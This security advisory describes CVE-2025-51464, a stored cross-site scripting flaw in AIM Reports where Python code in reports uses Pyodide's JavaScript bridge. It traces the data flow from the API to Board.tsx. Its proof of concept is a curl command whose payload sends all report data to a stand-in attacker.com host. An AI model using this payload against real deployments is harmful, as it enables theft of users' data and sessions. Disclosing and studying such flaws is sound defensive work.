Back to Research
CVSS 5.3mediumCVE-2025-51464

CVE-2025-51464: Stored XSS in AIM Reports

Stored cross-site scripting vulnerability in AIM Reports allowing malicious Python code to execute arbitrary JavaScript in users' browsers.

Gecko Security Research
Gecko Security Team
1/15/2025

Description

A stored cross-site scripting (XSS) was found in Aim Reports allowing malicious Python code to be embedded to execute arbitrary JavaScript in users' browsers. The issue occurs because the application allows users to store Python code in reports that is automatically executed when viewed by other users. The vulnerability stems from the ability to use Pyodide's JavaScript bridge without any restrictions, allowing attackers to break out of the intended Python execution sandbox.

Source - Sink Analysis

  1. Source: The entry point is the /api/reports API endpoint which accepts user-supplied Python code in the code field of POST requests.
  2. Data Flow:
    • Code is stored in the database as-is with no sanitization (via Report model in aim/web/api/reports/models.py)
    • When retrieved, the code is embedded within a React component
    • The markdown renderer interprets code blocks with the "aim" language tag
    • These code blocks are passed to the Board component for execution
  3. Sink: Execution occurs in Board.tsx where:
    • Pyodide loads and executes the Python code
    • The Python code uses pyodide.code.run_js() to execute arbitrary JavaScript
    • No restrictions or checks are implemented on what JavaScript can be executed

The vulnerability exists because there is no sanitization between the API input and the JavaScript execution.

Proof of Concept

  1. Create a malicious report:

    curl --location 'http://127.0.0.1:43800/api/reports' \
      --header 'Content-Type: application/json' \
      --data '{"name":"Security Test","description":"","code":"```aim\nimport pyodide\npyodide.code.run_js(\"fetch(\\\"/api/reports\\\").then(r=>r.json()).then(data=>{const img=new Image(); img.src=\\\"https://attacker.com/steal?\\\"+encodeURIComponent(JSON.stringify(data))})\")\n```"}'
    
  2. Note the report ID returned in the response

  3. Visit the report and upon loading, the malicious JavaScript executes in the victim's browser context, sending all reports data to the attacker-controlled server

This demonstrates data exfiltration, but other payloads could perform different malicious actions.

Impact

  • Attackers can run any JavaScript code in victims' browsers
  • Steal authentication cookies and tokens
  • Access and steal sensitive information from the application
  • Make authenticated requests on behalf of victims